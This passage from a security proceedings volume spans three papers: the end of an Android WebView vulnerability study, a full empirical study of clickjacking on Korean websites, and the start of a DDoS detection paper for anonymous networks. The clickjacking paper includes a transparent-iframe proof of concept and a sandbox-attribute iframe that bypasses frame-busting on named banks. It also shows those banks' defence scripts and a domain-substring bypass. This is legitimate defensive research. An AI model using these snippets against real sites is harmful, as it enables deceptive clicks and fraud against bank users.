is also vulnerable, but we conservatively leave that out of our analysis. Only 5
applications use Medialets.

Evaluation of the Tool. We find that our tool is able to correctly determine
the URL loaded for each WebView in most cases. In both cases, the missing
portion of the URL was a value for the URL query string. Ultimately, these
query parameters did not affect the landing page, therefore the result from the
crawler was correct.

In two cases, the website no longer existed, and in its place were squatter
and GoDaddy pages, respectively. Our crawler crawled these pages and found
potential vulnerabilities. We believe this to be the correct result as the squatting
page would be displayed to the user, making the WebView vulnerable. In fact,
this may present a larger threat, as an attacker can easily gain access to the
user’s application by purchasing the domain.

5.4 Limitations

One limitation of our study is that our data set is two years old. It would be
interesting to evaluate Android 4.2 applications. We do not know how the results
would differ. (We suspect the results may not change significantly. First, Web-
Views have increased in popularity, potentially increasing the number of applica-
tions exposed to these vulnerabilities. Second, all vulnerabilities still exist in the
current platform API. Only one change was made to the JavaScript interface for
Android 4.2, which was to require explicit annotations to JavaScript accessible
methods (announced on Feb. 14, 2013 [11]). This modification is only applied to
applications that set Android 4.2 as the minimum or targeted API. As of Feb.
4, only 1.4% of Android devices operate on Android 4.2 [3], and it is unlikely
that many developers have set their applications to restrict distribution to the
Android 4.2 platform.)

6 Suggested Improvements

6.1 Current Shortcomings

The core of the excess authorization problem is that any content loaded in the
WebView is able to invoke application code, making it very easy for developers
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to unintentionally grant untrusted sources the ability to invoke application code.
We conjecture that many of the vulnerabilities we found may be attributable to
developer confusion with the WebView system. In particular, we observed three
significant pitfalls for developers:

1. WebViewClients transparently change navigation behavior. If a WebView-
Client is added, the WebView is implicitly made navigable. A developer who
adds a WebViewClient to alter some non-navigation feature will make their
WebView navigable, and thus may introduce an excess authorization vulner-
ability without realizing.

2. We have observed confusion with what the shouldOverrideURLLoading()
method means and does. Stack Overflow contains many questions on what the
method should do [36]. Most commonly, we have observed implementations
of the overridden method that load a URL and then return true. This is the
equivalent of not overriding the method at all or simply returning false.

3. A third potential source of confusion is that developers just may not be aware
that everything loaded in the page or navigated to can invoke the application
code.

6.2 Recommendations for Developers

In light of these pitfalls, we suggest ways a developer can reduce their attack
exposure:

– Disable Javascript. Developers can turn off JavaScript if they do not need it.
– Restrict Navigability. Developers can restrict the WebView’s navigability.

This, however, only limits content loaded via links and does not limit content
in the document (e.g., frames or JavaScript). Consequently, it is not a complete
defense.

– Limit APIs. Third, developers can limit the exposure to the API by only reg-
istering necessary interfaces. Functionality that should not be made available
to web content should be separated out into a different class.

– Use New Android Mechanisms. Android recently announced a new
requirement for accessible interface methods to be annotated with @Java-
scriptInterface for Android 4.2 [11]. Developers should opt in to this by
setting the minimum (or targeted) SDK version to Android 4.2. One caveat,
however, is that while this may reduce accidental over-inclusion of accessi-
ble methods, it does nothing to prevent JavaScript from invoking intentional
interface methods. Another caveat is that this approach does not exist for
devices running versions older than 4.2. Also, it may take years for Android
4.2 to be used by a majority of phones, and developers may not want to limit
their application’s user base by targeting 4.2 for a while.

While these do not wholly prevent a vulnerability, they may limit the attack
surface.
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6.3 Recommendations for the Android Platform

To reduce the risk of unintentional excess authorization, we recommend that the
Android platform be modified so that access to an exposed interface is granted
only to specified domains instead of all content loaded in a particular WebView.
For example, if a WebView loads foo.com, only foo.com should be allowed to
invoke the interface. Other domains should not get access to the interface. Third-
party web content loaded via frames should not get access to application code.

Specifically, we propose a policy that limits access by the second-level domain
(SLD). The policy maintains a list of allowed SLDs for each WebView, and autho-
rizes all content from such an SLD to invoke any interface registered with that
WebView. By default, the list of allowed SLDs is initialized with the SLD of the
URL initially loaded in the WebView. If this triggers a redirect, we automati-
cally add the SLD of the target as well. This list can be supplemented by an
optional developer-supplied whitelist of acceptable SLDs for each WebView (a
WebView-level whitelist).

This approach provides an automated way to secure WebViews, lowering
developer burden, while providing flexibility for developers to override the policy
if they intentionally want specific third-party content to access the application.
Developer Effort. We evaluated this approach based on the amount of devel-
oper effort that would be required to comply with it. We found that 100% of core
applications that give access to code are handled automatically by our default
policy and do not require any developer effort or other changes.
Effectiveness. Our approach would patch vulnerabilities due to frames and
links. It would not patch vulnerabilities due to third-party JavaScript included
directly on the landing page as they would obtain the domain of the page.7

We find that of the 18 vulnerable core applications, 11 of the landing pages
(61%) would be patched by our proposed policy. The remaining applications
load ads directly on the landing page. Our estimate, however, may be an under-
approximation of the number of patched pages. Adblock flags actual ads as well
as ad providers’ JavaScript (such as the Google script that generates the ad). It
is possible that the JavaScript subsequently loads the ad content in a frame, in
which case our solution would patch the vulnerability; however, this case is not
included in our count of patched applications.

7 Related Work

WebViews. We are inspired by the work of Luo et al., which identifies the poten-
tial for WebView attacks [29]. They give examples for how webpages can attack
applications, how applications can attack webpages, and introduce the excess
authorization vulnerability. They perform a brief, primarily manual analysis of
the possibility of these vulnerabilities in applications. We extend their work by
7 Our approach also would not mitigate attacks via a XSS vulnerability (which is

outside the scope of this work).
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identifying variations on the basic code exposure attack and enumerating threats
from different attackers, including the network attacker and attacks via remote
script inclusion and XSS threats. Also, in contrast to their small-scale, manual
investigation, we perform a large-scale measurement study and build an auto-
mated analysis tool to detect these vulnerabilities.

Saltzman blogged about a WebView-related attack in file-sharing applica-
tions [10]. File-sharing applications, such as DropBox, often save files to the
application’s internal file directory and can be displayed in a WebView. Assum-
ing a malicious file gets saved, this file would then gain access to other files,
potentially sending them to the attacker. We present a file-based cross-zone
scripting attack that is a more general form of this attack, which can occur in
any application. A trusted internal file, as opposed to a malicious file, can load
external JavaScript, giving it access to the file system.
Static Analysis Tools for Android. Researchers have developed static analy-
sis tools to identify other security properties in Android applications. For vul-
nerability detection, Grace et al. and Felt et al. apply CFG-based static analysis
techniques to detect capability leaks across application boundaries [22,24]. Felt
et al. and Au et al. build static analysis tools examine permission overprivilege in
Android applications [14,21]. AdDroid examines overprivilege due to permissions
only required by ad libraries [32].

Other static analysis tools focus on the identification of grayware or malicious
applications. SCanDroid takes a data-centric approach to reasoning about the
consistency of security specifications concerning permissions and databases [23].
Their tool, however, takes Java source code as input. Kim et al. present a
bytecode-level static analysis tool to detect privacy leaks. They track location
info, IDs (IMEI, IMSI, ICC-ID), audio and video eavesdroppers [26]. Batyuk et
al. and Schmidt et al. similarly propose static analysis techniques to identify
malicious Android applications [15,35]. To our knowledge, no tools have been
created to analyze Android and web interaction.

In contrast to building static analysis tools from scratch, Scandariato et al.
apply the COTS tool, Fortify Source Code Analyzer, to open-source Android
applications and use code metrics to infer the likelihood of vulnerabilities [34].
Enck et al. also take advantage of Fortify’s SCA but avoid dataset limitations
of open source applications by creating a decompiler called ded to generate Java
source code from an application binary. They examine security properties such
as IMEI leakage and resource abuse [19].

8 Conclusion

While WebViews facilitate the creation of rich, interactive applications, they
also introduce the potential for attack if developers are not careful. We examine
vulnerabilities of WebViews and present Bifocals, which analyzes both Android
applications and web content to identify vulnerabilities in applications. We dis-
covered 67 applications that are vulnerable to attack through WebViews.
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Excess authorization arises due to a mismatch in authorization expectations.
A developer may intend to give code access to a specific website, but in actual-
ity access is granted to anything loaded in the WebView. We propose changes
to WebViews to grant code access based on the domain and not the WebView,
thereby limiting the opportunity for exposure to malicious JavaScript. Our solu-
tion patches 60% of the vulnerabilities we found and requires very little developer
effort.
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Abstract. Clickjacking is an attack that tricks victims into clicking on
invisible elements of a web page to perform an unintended action that is
advantageous for an attacker. To defend against clickjacking, many tech-
niques have already been proposed, but it is still unclear whether they
are effectively deployed in practice. We study how vulnerable Korean
websites are to clickjacking attacks by performing real attacks on top
100 popular Korean websites as well as all the financial websites. Our
results are quite significant: almost all Korean websites (about 99.2 %)
that we looked at are vulnerable to clickjacking attacks. Extending our
observation to mobile websites, we can also obtain similar results.

1 Introduction

A web framing attack, called clickjacking [4], uses a transparent iframe1 to
hijack users’ clicks. In a typical clickjacking attack scenario, a malicious web page
is constructed by an attacker so that the attacker tricks victims into clicking on
elements of the web page within an invisible iframe to perform an unintended
action that is advantageous for the attacker.

Recently, clickjacking attacks have been considerable interest and many pre-
vention techniques (e.g., frame busting [12]) have been proposed [6]. However,
it is still questionable whether the defence mechanisms are indeed effectively
deployed in practice. Our work is originally motivated by this question.

In this paper, we present an empirical study on analyzing the feasibility
of clickjacking attacks by intensively testing the 100 most popular and all 36
financial institution websites, respectively, in Korea (the total of 130 unique
Korean websites). Our experimental results show that 129 out of 130 websites
(about 99.2 %) are vulnerable to clickjacking attacks. The Citi Bank website
(http://www.citibank.co.kr/) is the only website that was not vulnerable to
clickjacking attacks. We also extend our analysis to mobile web pages and then
obtain the almost same results: all of the 100 most popular websites, when
browsed through mobile phones, were also vulnerable to clickjacking attacks.
Our key contributions can be summarized as follows:
1 iframe is the HTML tag to specify an inline frame which is used to embed another

document within the current HTML document.

Y. Kim et al. (Eds.): WISA 2013, LNCS 8267, pp. 163–173, 2014.
DOI: 10.1007/978-3-319-05149-9 10, c© Springer International Publishing Switzerland 2014
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Fig. 1. An example of clickjacking attacks. An invisible web page (M) with a button
(UIM ) to run a malicious action is put on top of what appears to be a normal web page
(N) with a video clip (UIN ). A victim can see the play button on the video clip, but
cannot see the button in a transparent web page. When the victim click on the play
button, the victim actually click on the button in the transparent web page to trigger
a malicious action such as downloading malware.

– As far as we are aware, this is the first empirical study of clickjacking attacks
for the regional websites in a country. Our results show that the most popular
Korean websites (96 out of 96 websites – 100 %) are much more vulnerable
to clickjacking attacks compared with global websites (62 out of 100 websites
– 62 %). We also extend our analysis to mobile web pages and then obtained
the same results (read Sect. 3.1 and 3.2).

– Second, we examine the feasibility of clickjacking attacks for all the financial
institution web pages in Korea and demonstrate that they are also vulnerable
to clickjacking attacks (35 out of 36 websites – about 97.2 %). Five websites
have used defence codes against clickjacking, but three websites among them
can be easily bypassed by disabling JavaScript with a simple HTML tag; one
website can be vulnerable to an attacker who controls a domain with the
victim’s server domain as a substring (read Sect. 3.3).

– Third, we discuss the possible reasons why Korean websites are still vulnerable
to clickjacking attacks and suggest reasonable solutions to fix the problems
(read Sect. 4).

In the rest of this paper, we will present the above results in detail. First, we
will explain how clickjacking attacks work in practice to provide a better under-
standing of our study and then demonstrate this empirically on Korean websites.

2 What Is Clickjacking?

Clickjacking is a web-based attack that was reported by Jeremiah Grossman and
Robert Hansen in 2008 [4]. It is a technique to attract users to click an element
of a web page which is designed by an attacker [12]. The attacker uses the HTML
tag called iframe to specify an inline frame which is used to embed an HTML
document inside another HTML document. Figure 1 illustrates an example of
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<html >

<title >An example page </title >

<body >

<style >

iframe { filter:alpha(opacity =0); opacity :0; }

</style >

<iframe src ="./ FakePage.html" border ="0" scrolling ="no">

</iframe >

</body >

</html >

Fig. 2. A HTML document with a transparent inline frame. An element in the HTML
document can be hidden by making the inline frame’s CSS opacity value zero. In
addition, an attack can specify the option for scrolling to remove the scroll bar from the
inline frame. This document shows that clickjacking attacks can be easily implemented.

clickjacking attacks. Figure 2 also shows how to create such a transparent inline
frame. We can see that an invisible iframe can be simply made by setting the
Cascading Style Sheet (CSS) property to control the opacity of HTML elements.

To generalize clickjacking attacks, we use N to represent a normal web page
(e.g., web-portal, banking, social networking services) with an innocuous UI ele-
ment UIN . An attacker creates a malicious web page M with an element UIM to
perform a malicious action (e.g., downloading malware, sending an email mes-
sage to the attacker, liking the attacker’s website) by transparently overlaying
UIM on top of UIN . Hence, when a victim tries to click on UIN within N , the
victim indeed clicks on UIM within M to trigger an unintended action instead
of UIN . Clickjacking attacks can also be more sophisticated than simply hiding
the target element as follows:

– Using the CSS cursor property, attackers can hide the default cursor and pro-
grammatically draw a fake cursor elsewhere [7], or alternatively set a custom
mouse cursor icon to a deceptive image that has a cursor icon shifted several
pixels off the original position [3].

– Attackers can use JavaScript – a single click can be changed into a double
click which can click on UIN as well as UIM at the same time. Unless the
intended action is performed by clicking on UIN , careful users suspect that
the visiting web page might be strange or deceptive.

– Clickjacking can be used with another attack such as Cross-Site Request
Forgery (CSRF) which is a widely exploited website vulnerability whereby
unauthorized commands are transmitted from a user that the website trusts
[10] (see, for example, http://seclab.skku.edu/csrf daum.avi).

http://seclab.skku.edu/csrf_daum.avi
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if (top.location != self.location)

{ top.location = self.location }

Fig. 3. A simple frame busting code. This code is typically used to for preventing
framing by another website.

Note that clickjacking attacks don’t make use of bugs (e.g. a failure to prop-
erly sanitize the user input) in web browsers or applications unlike other common
web vulnerabilities such as SQL injection and cross site scripting. They are conse-
quences of a misuse of some HTML/CSS features (e.g., the ability to manipulate
opacity of inline frames), combined with the way in which the web browser allows
users to interact with invisible, or barely visible, elements [1] and thus anyone
who knows basic HTML/CSS can easily implement clickjacking attacks.

3 Feasibility of Clickjacking Attacks for Korean Websites

We evaluated the feasibility of clickjacking attacks for the 100 most popular
websites in Korea and their corresponding mobile websites. We also examined
all Korean financial institutions since these are obviously high-risk targets.

In our adversary model, the goal of an adversary is to embed a target website
within the adversary’s website so that the embedded website can be used to lure
victims to trigger an action (e.g., downloading malware) that is advantageous
for an attacker. We here assume that the target website is not compromised.

3.1 Results for the Most Popular Websites in Korea

We used the top 100 websites (including web portals, online shopping, search
engines, social networks, banks, online media, and games listed on Rankey
(http://www.rankey.com/) which provides information about websites ranking
to show the feasibility of clickjacking attacks for Korean websites.

To test whether clickjacking attacks can be successfully achieved, we used
the five different web browsers (Internet Explorer, Chrome, Firefox, Safari, and
Opera) which run on a Windows PC since the attack and defence implementa-
tions might perform differently on some web browsers. The reason why we chose
these browsers is that they are the most popular in Korea2; we also used Internet
Explorer 8 between different Internet Explorer versions for the same reason.

To defend against clickjacking attacks, some websites have used frame busting
codes which intend to prevent the web pages from being loaded within an inline
frame. A simple example code is shown in Fig. 3. A common frame busting code
is made up of a conditional statement (e.g., top.location != self.location)
and a counter action (e.g., top.location = self.location) [12].

2 http://gs.statcounter.com/#browser-KR-monthly-201204-201304

http://www.rankey.com/
http://gs.statcounter.com/#browser-KR-monthly-201204-201304
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<iframe src="http ://www.kbstar.com" security =" restricted"

sandbox ></iframe >

Fig. 4. An example code to bypass the frame busting code used for Korean web-
sites: KB bank (http://www.kbstar.com). We can also bypass the codes for Nonghyup
(http://www.nonghyup.com) and Hana bank (http://www.hanabank.com) in the same
manner.

Fig. 5. Experimental results for the 100 most popular websites with five web browsers
(Internet Explorer 8, Chrome, Firefox, Safari, and Opera – which are sorted in descend-
ing order of their traffics in Korea) on a Windows PC. The numbers represent the ranks
of websites based on their traffics. Black boxes indicate that the websites are secure
against our clickjacking attacks; gray boxes indicate that the websites do not support
the tested web browser.

We found that seven websites have only used frame busting codes which rely
on JavaScript to detect framing and prevent it, but can easily be bypassed by
disabling JavaScript HTML attributes; if JavaScript is disabled in the context
of iframe, their frame busting codes might not be working properly against
clickjacking attacks. Therefore we tried to restrict use of the JavaScript with
the attribute security=“restricted” for Internet Explorer 8 and sandbox for
Chrome, Firefox, and Safari. Figure 4 shows how to bypass the frame busting
codes used for the three Korean websites (KB bank, Nonghyup, and Hana bank).
Their frame busting codes can be easily framed by using simple HTML tags.

For each combination of a website S in the list and a web browser B, we
tested whether the website S can be successfully framed by our website which
can be assumed as the attacker’s malicious website M and then still normally
work. The visualization in Fig. 5 provides an overall view of the clickjacking
distributions for the tested web browsers. In this figure, black boxes indicate
that the websites are secure against our clickjacking attacks; gray boxes indicate
that the websites do not support the tested web browser.

Surprisingly, in Fig. 5, we can see that all websites are vulnerable to our
clickjacking attacks except for the four ones (Google, Facebook, YouTube, and
Twitter). Interestingly, all these are not Korean websites. This is because global
websites such as Google and Facebook might have already experience such
attacks [13] more intensively than the Korean websites. To see the difference
between Korean websites and global websites, we also evaluated the top 100
global websites selected from the Alexa Top-500 Global Sites (http://www.alexa.
com/topsites) in the same manner. 62 out of the tested global websites can be

http://www.kbstar.com
http://www.nonghyup.com
http://www.hanabank.com
http://www.alexa.com/topsites
http://www.alexa.com/topsites
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effectively framed by our clickjacking attacks; this proportion (62 %) is signifi-
cantly less than the 100 % attack success with the most popular Korean websites.
To verify this statistically, we performed the one-tailed, two-proportion Z test
with 95 % confidence and then obtained the results of z = 6.7271 and p < 0.05.
This shows that Korean websites are significantly weaker against clickjacking
attacks compared with global websites.

In the analysis for the top 100 global websites, we found that 18 out of the
38 websites that cannot be framed by clickjacking are in the US (the total of
53 websites); 4 out of the 38 websites are in Russia (the total of 5 websites).
This shows that clickjacking attacks may appear to be relatively popular in
some countries such as US and Russia rather than the other countries. Also, we
surmise that companies with higher rewards for finding security bugs are more
secure against clickjacking; 25 out of the 38 websites (about 66 %) are owned by
the companies (Google, Facebook, and PayPal) which run a bug bounty program
for cash (see the list of representative bug bounty programs in http://bugcrowd.
com/list-of-bug-bounty-programs/).

All web browsers show almost the same results except for a few websites that
do not support Internet Explorer, Firefox, Safari, and Opera, respectively. For
example, Hyundai card (http://www.hyundaicard.com/) with the 95th rank
requires a plug-in but Internet Explorer 8 has failed to install the required plug-
in unlike the other web browsers. Since the Opera web browser doesn’t support
the sandbox attribute, the approach to disable JavaScript is not effective in the
12th and 29th websites with the Opera web browser.

3.2 Results for Mobile Web Pages

We extend our empirical analysis to also investigate the feasibility of clickjacking
attacks on mobile web pages. We visited the 100 most popular Korean websites
again with the two mobile devices: Samsung Galaxy Note 2 which runs Android
Jelly Bean 4.2 and Apple iPad which runs iOS 6.1.3. We tested each website
with the ten different web browsers (Android: Android default, Chrome, Opera,
Dolfin, Firefox, and iOS: Safari, Chrome, Dolfin, Opera, Mecury), respectively,
which are selected based on their popularity (see http://statcounter.com/).

When we visited the websites via the mobile devices, 92 websites served
mobile alternatives instead of their original web pages. However, the results
for mobile devices are not changed from those which are designed for desk-
top screens. We cannot observe any obvious difference between browsers and/or
platforms as the same as for the desktop system.

The six mobile web pages are only designed to make users to download an
app offering services rather than to explore the websites themselves. However,
this practice might lead to security risks for mobile users; clickjacking attacks
will be a serious concern for such web pages since clickjackers can effectively try
to lure users to download malware instead of legitimate apps.

http://bugcrowd.com/list-of-bug-bounty-programs/
http://bugcrowd.com/list-of-bug-bounty-programs/
http://www.hyundaicard.com/
http://statcounter.com/
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3.3 Results for Korean Banking Websites

We also examined the feasibility of clickjacking attacks for 36 financial institution
websites since these are obviously high-risk targets. We classified the financial
institutions as monetary and non-monetary financial institutions to see whether
monetary financial institutions have much concerned about security compared
with non-monetary financial institutions.

For the 18 monetary financial institutions, 17 banking websites can be suc-
cessfully framed by using clickjacking. Although the four banking websites have
used codes to detect and disable clickjacking, the three codes among them
can be easily bypassed with the HTML attributes of sandbox or security=
“restricted”. There exists only one monetary financial institution Citi Bank
(http://www.citibank.co.kr/) using a sophisticated defence code (see Fig. 6)
against clickjacking attack, which is similar to Rysdstedt’s recommendation [12]:
When a web page is first loaded, the style tag hides all contents on the web page
(html{display:none;}). If JavaScript is disabled, the web page will remain
blank. Similarly, if the web page is framed, it will either remain blank or it will
attempt to frame bust. The script only reveals the document’s contents if the
web page is not running in a frame.

For the 18 non-monetary financial institution websites, all the websites can be
attacked by using clickjacking. Since the SinHyup Bank website (http://www.
cu.co.kr/) that only uses a defence code to block clickjacking attacks, all the
remaining websites can be easily framed with a simple HTML tag.

The defence code (see Fig. 7) used in the SinHyup Bank website seems
secure against clickjacking at first glance in that this code uses the property
of document.domain which returns the domain name of the server that loaded
the current document. However, this web page can be framed by an attacker who

<style >

html{display:none;}

<style >

<script >

try{

if(top.location.host == self.location.host)

{

document.documentElement.style.display=’block ’;

}else{

top.location = self.location;

}

}catch(e){ top.location = self.location; }

</script >

Fig. 6. The frame busting code used for Citi Bank. This code is almost similar to
Rysdstedt’s recommendation [12].

http://www.citibank.co.kr/
http://www.cu.co.kr/
http://www.cu.co.kr/
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<script >

if(document.domain.indexOf (" openbank.cu.co.kr") > -1) {

location.href = "https ://" + document.domain;

}else{

alert(" Access Deny");

}

}

</script >

Fig. 7. The frame busting code used for SinHyup Bank. This code checks whether the
domain name of the server includes the substring “http://openbank.cu.co.kr”

controls a domain with the substring “http://openbank.cu.co.kr” (e.g., http://
kopenbank.cu.co.kr). It shows the limitation in checking the domain name of a
server to prevent clickjacking attacks.

Although one monetary financial institution website Citi Bank is secure
against clickjacking, it is still unclear that monetary financial institution web-
sites are overall more secure against clickjacking than non-monetary financial
institution websites. To verify this statistically, we performed the one-tailed,
two-proportion Z test with 95 % confidence and then obtained the results of
z = 1.0142 and p = 0.1563. From this test result, we conclude that they are not
significantly different at p < 0.05.

4 Discussion

Clickjacking attacks and defences have been intensively studied [6,12] since it
was already reported almost five years ago [4]. Interestingly, however, almost
Korean websites (about 99.2 %) are still vulnerable to these attacks.

Probably, clickjacking is unpopular in Korea. We can see that the small num-
ber (6 out of 130 – about 4.6 %) of websites have only tried to prevent clickjack-
ing attacks. This is because victims from clickjacking attacks have been highly
concentrated until now. For example, there have currently been two kinds of
widespread clickjacking attacks in the wild: Likejaking [13] and Tweetbomb [9].
Fortunately, Korean websites don’t seem attractive targets yet for clickjackers.

A few of Korean websites have used defence codes to detect framing and
prevent it, but they are naively implemented and thus impractical. Unlike the
global websites (e.g., Google), the Korean websites don’t use code obfuscation
techniques for their defence codes to make the codes themselves difficult to ana-
lyze. To make matters worse, almost frame busting codes used in the Korean
websites can be easily bypassed with a simple HTML tag. Perhaps this is another
example of “security theatre”, which tackles the feeling but not the reality –
vendors (or engineers) may demonstrate this perfunctory function to assure
their customers (or managers) that their websites are really secure against click-
jacking attacks. We have to understand what defences are practically effective.

http://openbank.cu.co.kr
http://openbank.cu.co.kr
http://kopenbank.cu.co.kr
http://kopenbank.cu.co.kr
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At the technical level, we recommend that Korean websites have to implement
a secure code like the frame busting script used in Citi Bank (see Fig. 6) and
also use obfuscation techniques to protect their codes. Some manual labor will
be required to de-obfuscate clickjacking defences when they are properly obfus-
cated.

Surely, it is not easy to trace new vulnerabilities in dynamically updated
websites over time. The existence of a bounty program for security bugs seems
helpful to solve this problem. For example, when a clickjacking vulnerability in
Google Docs (http://docs.google.com) was found [8], it was fixed soon within two
weeks. In general, companies with higher rewards for finding bugs will become
more secure and sustainable.

5 Related Work

The possibility of attacks using transparent frames was first mentioned in a
Mozilla bug report [11]. Hansen and Grossman [4] coined the term “clickjacking”
in 2008. Clickjacking attacks can be used alone or in combination with other
attacks such as Cross-Site Request Forgery (CSRF) [2] which is a technique
that allows the attacker to trick a user into performing an action, using her
authority and credentials. Targeted attacks were made on Facebook [13] and
Twitter [9]. Rydstedt et al. [12] showed that the most frame-busting practices
implemented by the Alexa top 500 sites can be circumvented by a simple way
such as JavaScript disabling.

There are several clickjacking defence techniques to provide the visual integrity
of a web page. One straightforward mitigation is to present a confirmation prompt
to users when the target element has been clicked. Unfortunately, this approach
gives a poor user experience and is still vulnerable to double-click timing attacks [6].
Another popular approach is to use the UI layout randomization technique [5];
however, this is not the ultimate solution to this problem since the attacker may
try to ask the victim to keep clicking until successfully guessing the location of a
target UI element [6]. Huang et al. [6] proposed a new defence called “InContext”,
where websites mark UI elements that are sensitive, and browsers enforce context
integrity of user actions on these sensitive UI elements. This technique is very effec-
tive against clickjacking attacks but requires the client browsers (or OSes) modi-
fication. Rydstedt et al. [12] presented a simple but effective frame-busting code
to mitigate clickjacking attacks.

Many client-side defence solutions were also proposed: (1) The removal of all
transparency from all cross-origin elements is surely effective to detect clickjacing
attacks; however, it can incur a significant visual penalty on benign websites [6].
(2) Heuristic-based techniques (e.g., ClickIDS [1]) decide when to allow rendering
transparent frames by detecting whether the clicked cross-origin frame is not
fully visible. But, these solutions have not been widely deployed since heuristics
will inherently incur false positives and false negatives, and there is always a
room for attackers to design their websites to bypass the heuristics that are
being checked. They also introduced some compatibility costs for legacy websites,
which may hinder browser vendor adoption.

http://docs.google.com
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6 Conclusion

We analyzed the feasibility of clickjacking attacks by testing the 100 most pop-
ular and all 36 financial institution websites in Korea (the total of 130 unique
websites). Our experiments show that 129 out of 130 websites (about 99.2 %)
are vulnerable to clickjacking attacks; even Korean websites with clickjacking
defences could be easily defeated with a simple HTML tag. A statistical test
(the one-tailed, two-proportion Z test with 95 % confidence) shows that Korean
websites are significantly more vulnerable compared with global websites (62 out
of 100 websites – 62 %).

When we consider that clickjacking defence techniques are clearly understood
and fairly easy to implement, the reason why Korean websites are still vulnerable
to clickjacking seems rather clear. This is because Korean websites might be
unattractive targets for clickjackers until now; the small number (6 out of 130 –
about 4.6 %) of websites have only tried to prevent clickjacking attacks but 5 of
them failed in practice. However, we need to prepare for forthcoming attacks. So
we recommend a secure implementation of frame busting codes and the use of
code obfuscation techniques to make the codes themselves difficult to analyze at
the technical level. Also, the introduction of a bounty program will be helpful to
fix security bugs such as clickjacking quickly; we can see that about 66 % of the
secure global websites against clickjacking are owned by the companies (Google,
Facebook, and PayPal) which run a bug bounty program.
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Abstract. Packets in anonymous networks are fully protected. There-
fore, traditional methods relying on packet header and higher layer infor-
mation do not work to detect Distributed-Denial-of-Service (DDoS)
attacks in anonymous networks. In this paper we propose to use observ-
able statistics at routers that need no packet inspection to infer the pres-
ence of an attack. We propose packet resistance as a metric to detect the
presence of attacks which reduce the availability of channel bandwidth
for wireless routers in the core network. Our proposed detection frame-
work is distributed, wherein each router in the network core monitors and
reports its findings to an intermediate router. These intermediate routers
form a hierarchical overlay to eventually reach a centralized attack mon-
itoring center. The alarm messages are used to construct an attack path
and determine the origin of the attack. We present simulation results to
demonstrate the effectiveness of our proposed metric.

Keywords: Anonymous networks · DDoS · Intrusion detection

1 Introduction

In many communication applications (email, social networking, peer-to-peer
file sharing, sensitive battlefield military communications for example) the end
users share sensitive data between them. The data and communication patterns
learned from networks sharing such sensitive information leads to privacy and
other security breaches [1]. Hence, for reasons such as confidentiality, political
restraint evasion or sensitive communications, network anonymity is desired.

Network anonymity protects against traceability of end-hosts of networks
even though their data traverses through the network in the presence of adver-
saries. In a fully anonymized network using services such as Tor [2], all the
packet’s contents and the packet’s meta data are fully protected by cryptographic
techniques. These packets offer no flow information, source and destination IP
addresses, other IP header details or even higher layer details of the applica-
tions being supported. Therefore if attackers inject or flood such networks with
garbled or replayed packets, the routers cannot distinguish between flows of
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legitimate traffic versus attack traffic. Thus traditional attack detection mecha-
nisms do not work for anonymous networks. This is because traditional network
attack detectors monitor network parameters and meta-data of network packets
(IP addresses, packet sequence numbers, packet sizes) and then looks for their
anomalies in their behavior to raise attack alarms [3–5]. Many of these attack
detectors are designed to raise alarms in nearly real-time [6]. Cryptanalysis is
one way of breaking cryptographic properties of these fully encrypted messages,
but such mechanisms do not always yield plain text information in real time.

Anonymous networks themselves offer no insights of data packet traffic flow-
ing through them. However routers in such networks could offer statistics which
are easily observable. Statistics such as packet count, packet dropping rate at
a router’s interface can be observed without needing packet inspection. Such
statistics could reveal the current performance of the attack detection metrics
and observe anomalies to detect the presence of an attack. Given that these sta-
tistics are observable with no packet inspection needed, attack detectors using
such statistics could raise attack alarms in near real-time. Studies and research
efforts are still being pursued to de-anonymize users of anonymous networks [7–
9], but to our best knowledge designing a real-time DDoS detector for anonymous
networks remains to be a hard and unsolved problem.

In this paper we propose a statistical distributed and hierarchical attack
detector for anonymous networks using observable statistics at routers in the
core network. In this work, our attack model focuses on DDoS attacks which
reduce available channel bandwidth to routers in the core network. The attacks
either flood the network with data packets or exhaust bandwidth by misbehaving
with the medium access control protocols [10].

Our contribution for the proposed statistical DDoS detection is as follows,

– Packet Resistance metric for local monitoring: We define packet resistance as
the ratio of incoming (receive packet rate) data rate over outgoing (transmit
packet rate) data rate. This metric therefore needs no packet inspection.

– Local Analysis on Packet Resistance: We monitor the proposed metric to
detect attacks and raise alarms. Packet resistance increases when a router
experiences opposition to outgoing traffic on its egress interface. This indicates
the presence of an attack.

– Hierarchical decision aggregation: We allow for locally generated alarms to
be collected by an overlay of intermediate routers and eventually reach a
centralized attack monitoring center.

– We use aggregated alarm data to construct an attack path to determine the
possible origin of the attack.

– We simulate our work using the CORE simulator for a network of 50 nodes
and present our detection accuracy using the packet resistance metric.

The remainder of the paper is organized as follows. In Sect. 2 we discuss
our system assumptions and network model. We propose our statistical attack
detection framework in Sect. 3. We discuss local attack monitoring in Sect. 4.
Then we study the use of local attack reports to construct attack paths and
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determine the location of the intruder in Sect. 5. Finally we discuss conclusion
and our future work in Sect. 6.

2 Network and Attack Model

We discuss our network and attack model for our work in this section. We
describe a network architecture for our work that illustrates the anonymous
communications between users of trusted groups.

2.1 Network Model

Our network model comprises end-hosts in various trusted groups communicat-
ing with each other via a network core as shown in Fig. 1. The network core
comprises several wireless local area network (WLAN) using the IEEE 802.11
communications standard. The routers of a WLAN share the channel bandwidth
supported by the wireless communication standard followed in the WLAN. These
routers have multiple interfaces and therefore can act as gateways to two or more
WLANs. The packets leaving the trusted groups are anonymized by the group’s
gateway. The core network in this work is a fully wireless network deployed by
trusted groups or trusted organizations (for example: military or private cor-
porations). We assume that the hardware and software on these routers are
tamper-proof and trustworthy. Each of the routers deployed have attack detec-
tion sensors on them which can monitor and report the metric’s performance.

Fig. 1. We illustrate anonymous communication in the core network supporting com-
munications between end-hosts in trusted groups. The attack detection sensors in the
core report to centralized attack monitoring centers in the trusted groups.
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2.2 Attack Model

Our attack model involves launching a Distributed-Denial-of-Service (DDoS)
attack in the core network. The DDoS attack in our work affects channel band-
width of the WLAN in the core network. We consider two ways in which this
DoS can be launched. First, the target router is attacked in such a way that the
net incoming rate on all its ingress interfaces exceeds its forwarding rate on the
egress interface. For example, in the IEEE 802.11 standard the maximum data
rate is 54 Mbps. If a router has two ingress interface receiving at 40 Mbps each
and one egress interface, it can only send at a maximum data rate of 54 Mbps
while its net incoming data rate is 80 Mbps. We consider this as an instance
of flooding the router to create the DoS on the egress link of the target router.
Second, available bandwidth for a router is exhausted by through medium access
misbehavior [10]. Thus both these attacks render the target router to lower its
forwarding rate in the WLAN.

Our attack model is distributed in the sense that the flooding could be initi-
ated by multiple attackers located distributed in the core network. Specific links
could be targeted by attackers distributed in the network as demonstrated in
